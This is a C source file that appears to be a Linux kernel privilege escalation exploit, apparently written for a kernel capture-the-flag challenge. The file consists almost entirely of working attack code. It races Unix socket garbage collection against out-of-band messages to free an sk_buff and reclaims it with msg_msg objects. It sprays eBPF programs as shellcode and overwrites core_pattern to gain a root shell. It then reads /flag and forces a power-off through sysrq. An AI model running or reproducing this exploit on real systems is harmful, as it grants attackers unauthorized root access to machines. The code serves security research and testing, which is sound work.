#define _GNU_SOURCE
#include <sys/prctl.h>
#include <sched.h>
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#include <stddef.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <fcntl.h>
#include <sys/time.h>
#include <err.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/un.h>
#include <pthread.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <limits.h>
#include <sys/timerfd.h>
#include <poll.h>
#include <sys/epoll.h>
#include <stdatomic.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sys/sendfile.h>
#ifndef SYS_pidfd_getfd
#define SYS_pidfd_getfd 438
#endif
#define SYSCHK(x)                     \
	({                                \
		typeof(x) __res = (x);        \
		if (__res == (typeof(x))-1)   \
			err(1, "SYSCHK(" #x ")"); \
		__res;                        \
	})

#define PAUSE           \
	{                   \
		printf(":");    \
		int x;          \
		read(0, &x, 1); \
	}

int count = 200;
char buf[0x1000];
char send_buf[0x1000];
char recv_buf[0x1000];
int timefds[0x1000];
int epfds[0x1000];
int tfd;
int tfd2;
pid_t childs[0x10];
pthread_barrier_t barr;
struct sock_filter filter[0x1000];

struct
{
	long mtype;
	char mtext[0x2000];
} msg;

int msqid[0x4000];

static void barrier(void)
{
	int ret = pthread_barrier_wait(&barr);

	assert(!ret || ret == PTHREAD_BARRIER_SERIAL_THREAD);
}

void set_cpu(int i)
{
	cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(i, &mask);
	sched_setaffinity(0, sizeof(mask), &mask);
}

int send_fd(int ufd, int fd)
{
	struct msghdr msg = {};
	struct iovec iov[] = {{.iov_base = buf, .iov_len = 1}};
	msg.msg_iov = iov;
	msg.msg_iovlen = 1;
	struct cmsghdr *cmsg;
	int len = CMSG_LEN(sizeof(int) * 1);
	memset(send_buf, 0, 0x1000);
	cmsg = (void *)send_buf;
	cmsg->cmsg_len = len;
	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	msg.msg_control = cmsg;
	msg.msg_controllen = len;
	*(int *)CMSG_DATA(cmsg) = fd;
	while (sendmsg(ufd, &msg, 0) < 0)
		;
}

int recv_fd(int ufd)
{
	struct msghdr msg = {};
	struct iovec iov[] = {{.iov_base = buf, .iov_len = 1}};
	msg.msg_iov = iov;
	msg.msg_iovlen = 1;
	struct cmsghdr *cmsg;
	int len = CMSG_LEN(sizeof(int) * 1);
	memset(recv_buf, 0, 0x1000);
	cmsg = (void *)recv_buf;
	cmsg->cmsg_len = len;
	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	msg.msg_control = cmsg;
	msg.msg_controllen = len;
	SYSCHK(recvmsg(ufd, &msg, 0));
	return *(int *)CMSG_DATA(cmsg);
}

static void epoll_ctl_add(int epfd, int fd, uint32_t events)
{
	struct epoll_event ev;
	ev.events = events;
	ev.data.fd = fd;
	SYSCHK(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev));
}

static void do_epoll_enqueue(int fd, int f)
{
	int cfd[2];
	socketpair(AF_UNIX, SOCK_STREAM, 0, cfd);
	for (int k = 0; k < f; k++)
	{
		childs[k] = fork();
		if (childs[k] == 0)
		{
			for (int i = 0; i < 0x100; i++)
			{
				timefds[i] = SYSCHK(dup(fd));
			}
			for (int i = 0; i < 0xc0; i++)
			{
				epfds[i] = SYSCHK(epoll_create(0x1));
			}
			for (int i = 0; i < 0xc0; i++)
			{
				for (int j = 0; j < 0x100; j++)
				{
					epoll_ctl_add(epfds[i], timefds[j], 0);
				}
			}
			write(cfd[1], buf, 1);
			raise(SIGSTOP);
		}
		read(cfd[0], buf, 1);
	}
}

void *race_unix_gc(void *x)
{
	struct itimerspec new = {.it_value.tv_nsec = 10000000};
	set_cpu(1);
	while (1)
	{
		barrier();
		SYSCHK(timerfd_settime(tfd2, TFD_TIMER_CANCEL_ON_SET, &new,
							   NULL));
		usleep(1000);

		// trigger unix_gc
		close(SYSCHK(socket(AF_UNIX, SOCK_STREAM, 0)));

		barrier();
	}
}

int sc(void)
{
	int stopfd[2];
	SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd));
	unsigned int prog_len = 0x900;
	/* In current environment, the max instructions in a program is near 0x900
	And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably
	*/
	struct sock_filter table[] = {
		{.code = BPF_LD + BPF_K, .k = 0xb3909090},
		{.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}};

	/* 0xb3909090 is NOPsled shellclode to make exploitation more reliable
90       nop
90       nop
90       nop
b3 b8    mov    bl, 0xb8
*/
	for (int i = 0; i < prog_len; i++)
		filter[i] = table[0];

	filter[prog_len - 1] = table[1];
	int idx = prog_len - 2;

#include "sc.h"

	struct sock_fprog prog = {
		.len = prog_len,
		.filter = filter,
	};
	int fd[2];
	for (int k = 0; k < 0x50; k++)
	{
		if (fork() == 0) // use fork to bypass RLIMIT_NOFILE limit.
		{
			close(stopfd[1]);
			for (int i = 0; i < 0x100; i++)
			{
				SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd));
				SYSCHK(setsockopt(fd[0], SOL_SOCKET,
								  SO_ATTACH_FILTER, &prog,
								  sizeof(prog)));
			}
			write(stopfd[0], buf, 1);
			read(stopfd[0], buf, 1);
			exit(0);
		}
	}
	/* wait for all forks to finish spraying BPF code */
	read(stopfd[1], buf, 0x50);
}
int check_core()
{
	// Check if /proc/sys/kernel/core_pattern has been overwritten
	char buf[0x100] = {};
	int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
	read(core, buf, sizeof(buf));
	close(core);
	return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd)
{
	int memfd = memfd_create("", 0);
	SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
	dup2(memfd, 666);
	close(memfd);
	while (check_core() == 0)
		sleep(1);
	puts("Root shell !!");
	/* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */
	*(size_t *)0 = 0;
}

int main(int argc, char **argv)
{

	if (argc > 1)
	{
		// #define SYS_pidfd_getfd 438
		int pid = strtoull(argv[1], 0, 10);
		int pfd = syscall(SYS_pidfd_open, pid, 0);
		int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
		int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
		int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
		dup2(stdinfd, 0);
		dup2(stdoutfd, 1);
		dup2(stderrfd, 2);
		/* Get flag and poweroff immediately to boost next round try in PR verification workflow*/
		system("cat /flag;echo o>/proc/sysrq-trigger");
		execlp("bash", "bash", NULL);
	}
	if (fork() == 0) // this process is used to trigger core_pattern exploit
	{
		set_cpu(1);
		setsid();
		crash("");
	}
	struct rlimit rlim = {.rlim_cur = 0xf000, .rlim_max = 0xf000};
	setrlimit(RLIMIT_NOFILE, &rlim);

	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
	// Ignore SIGPIPE
	signal(SIGPIPE, SIG_IGN);
	pthread_barrier_init(&barr, NULL, 2);
	char *core =
		(void *)mmap((void *)0xa00000, 0x2000, PROT_READ | PROT_WRITE,
					 MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0);
	strcpy(core,
		   "|/proc/%P/fd/666 %P"); // put payload string into known address which will used by ebpf shellcode

	sc(); // spray ebpf program.
	tfd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0));
	do_epoll_enqueue(tfd, 4);
	tfd2 = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0));
	do_epoll_enqueue(tfd2, 8);

	int datafd[2];
	SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, datafd));

	size_t val = 0x400000;
	SYSCHK(SYSCHK(setsockopt(datafd[1], SOL_SOCKET, SO_SNDBUF, &val, 4)));
	SYSCHK(SYSCHK(setsockopt(datafd[0], SOL_SOCKET, SO_RCVBUF, &val, 4)));
	
	SYSCHK(SYSCHK(setsockopt(datafd[1], SOL_SOCKET, SO_RCVBUF, &val, 4)));
	SYSCHK(SYSCHK(setsockopt(datafd[0], SOL_SOCKET, SO_SNDBUF, &val, 4)));

	for (int i = 0; i < 0x4000; i++)
	{
		msqid[i] = SYSCHK(msgget(IPC_PRIVATE, 0644 | IPC_CREAT));
	}

	msg.mtype = 1;
	char *skb = (void *)&msg.mtext[-0x30];

	// struct sk_buff {
	//     void       (*destructor)(struct sk_buff *); /*    96     8 */
	//     refcount_t                 users;                /*   212     4 */
#define OFFSET_SKB_DESTRUCTOR 96
#define OFFSET_SKB_USERS 212
	*(size_t *)(skb + OFFSET_SKB_DESTRUCTOR) = 0xffffffffcc000000 - 0x800;
	*(unsigned *)(skb + OFFSET_SKB_USERS) = 1;

	pthread_t tid;
	pthread_create(&tid, 0, race_unix_gc, 0);
	set_cpu(0);
	count = 20000;

	while (1)
	{
		count += 1;
		printf("\r%010d", count);
		if (count > 1000000)
		{
			count = 20000;
		}
		struct itimerspec new = {.it_value.tv_nsec = count};
		int victim_fd[2];
		SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, victim_fd));

		// Allocate some sk_buff before oob_skb
		for (int i = 0; i < 0x200; i++)
			SYSCHK(send(datafd[1], buf, 1, 0));

		SYSCHK(send(victim_fd[1], buf, 1, MSG_OOB));

		// Allocate some sk_buff after oob_skb
		for (int i = 0; i < 0x200; i++)
			SYSCHK(send(datafd[0], buf, 1, 0));

		send_fd(victim_fd[1], victim_fd[0]);
		close(victim_fd[0]);

		barrier();
		SYSCHK(timerfd_settime(tfd, TFD_TIMER_CANCEL_ON_SET, &new,
							   NULL));
		// race to call queue_oob
		send(victim_fd[1], buf, 1, MSG_OOB);

		// free all skbs
		for (int i = 0; i < 0x200; i++)
			SYSCHK(recv(datafd[0], buf, 1, 0));

		// free all skbs
		for (int i = 0; i < 0x200; i++)
			SYSCHK(recv(datafd[1], buf, 1, 0));

		// cross-cache to reclaim oob_skb as msg_msg
		for (int i = 0; i < 0x1000; i++)
			SYSCHK(msgsnd(msqid[i], &msg, 0x100 - 0x30, 0));

		barrier();

		for (int i = 0; i < 0x1000; i++)
			SYSCHK(msgrcv(msqid[i], &msg, 0x100 - 0x30, 1, 0));

		close(victim_fd[1]);
	}
}
